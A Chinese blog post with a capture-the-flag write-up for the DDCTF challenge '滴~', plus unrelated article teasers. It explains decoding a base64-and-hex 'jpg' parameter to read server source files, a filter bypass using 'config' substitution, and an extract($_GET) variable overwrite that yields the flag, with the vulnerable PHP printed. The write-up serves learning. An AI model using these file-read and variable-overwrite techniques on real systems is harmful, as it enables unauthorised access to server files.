滴~

作者: Yix1a | 来源:发表于2019-04-26 11:40 被阅读0次
  • 解题步骤

  • 观察URL里面的内容http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3现jpg参数指向一串加密编码。
  • 发现编码一个数字开头的字符串,两次base64加密后必然是T开头的。三次base64加密后必然是V开头的。
  • TmprMlpUWTBOalUzT0RKbE56QTJPRGN3解两次base64解密,再转换一次ascii,即为明文的flag.jpg
  • 观察到明文是个文件名,所以构造一个URL里面有的文件名(index.php即TmprMlpUWTBOalUzT0RKbE56QTJPRGN3)传进去看看。
  • 通过下面的base64图片加密,得到index.php的内容。
  u«Z:�f {ø"f;m«�64,<?php
  /*
   * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
   * Date: July 4,2018
   */
  error_reporting(E_ALL || ~E_NOTICE);


  header('content-type:text/html;charset=utf-8');
  if(! isset($_GET['jpg']))
        header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOd  z09');
  $file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
  echo '<title>'.$_GET['jpg'].'</title>';
  $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
  echo $file.'</br>';
  $file = str_replace("config","!", $file);
  echo $file.'</br>';
  $txt = base64_encode(file_get_contents($file));

  echo "<img src='data:image/gif;base64,".$txt."'></img>";
  /*
   * Can you find the flag file?
   *
   */

  ?>
  • 观察代码,你会发现里面有一个博客地址和博客日期(重点)
  • 进入该博客的那个日期的文章,里面的文件名一个个试(不要加点)
  • 从图片加密中得到一个文件名字f1ag!ddctf.php
  • 发现里面有个!会被过滤,观察上述得到的index.php,用f1agconfigddctf.php绕过。
  • 得到代码
u«Z:�f {ø"f;m«�64,<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>
  • 直接在http://117.51.150.246/f1ag!ddctf.php?uid= 即可获得DDCTF{436f6e67726174756c6174696f6e73}

  • 学习心得

  • extract函数只会捕获该函数位置的前面已经定义的变量,该函数的之后不能通过extract来操作。

  • 代码中的注释是一定要注意的,这是习惯问题。

相关文章

  • 滴…滴…滴…

    在北京闯荡的外乡人 好奇麻木厌倦却上瘾般的无法摆脱这座城市的种种诱惑 早高峰的地铁 更像一个地下的百态剧场 每个人...

  • ——滴——滴——DIY🐾 🐾

  • 滴,答滴

  • 滴嗒滴

    和潘哥讨论了一早上的茅山道术,我要开始相信迷信了。据说搞到他们家秘籍背个滚瓜烂熟就可以施法了~ 午饭和潘哥的饭友们...

  • 滴哩滴哩滴哩

    一个朋友,曾梦想仗剑走天涯,但到股市之后剑给亏没了...! 于是,跑上山找到方丈,“大师,我已看破红尘,对尘世毫无...

  • 额滴额滴都是额滴

    这棵石榴树每年都开花,每年都结果,每年都开好多花,每年都结很多石榴。 我几乎每年的每天都从它跟前路过,从春天到冬天...

  • 细滴!细滴!

    那个叫张瑞桐的小姑娘也来滑梯这玩了。 正在与小伙伴玩的开心的大宝第一个发现了,那是他们班的同学。便友好的喊了句:“...

  • 不认滴!不认滴!

    那还是1994年下半年,托刘师傅关系,我又来到了油城在胜利石油开发公司作业队工作。本文记录的是上班后首次回家探亲的...

  • 大滴大滴

    30号,31号两天1000题。 1号政治。 2号英语。 3号专业课。

  • 欲滴不滴

    心态里,我二十有余 做事略带青春的莽撞 却处处缜密 总想着,不伤害谁 就足够了 别人眼里,我五十有余 衰老的速度如...

网友评论

      本文标题:滴~

      本文链接:https://www.haomeiwen.com/subject/awcfnqtx.html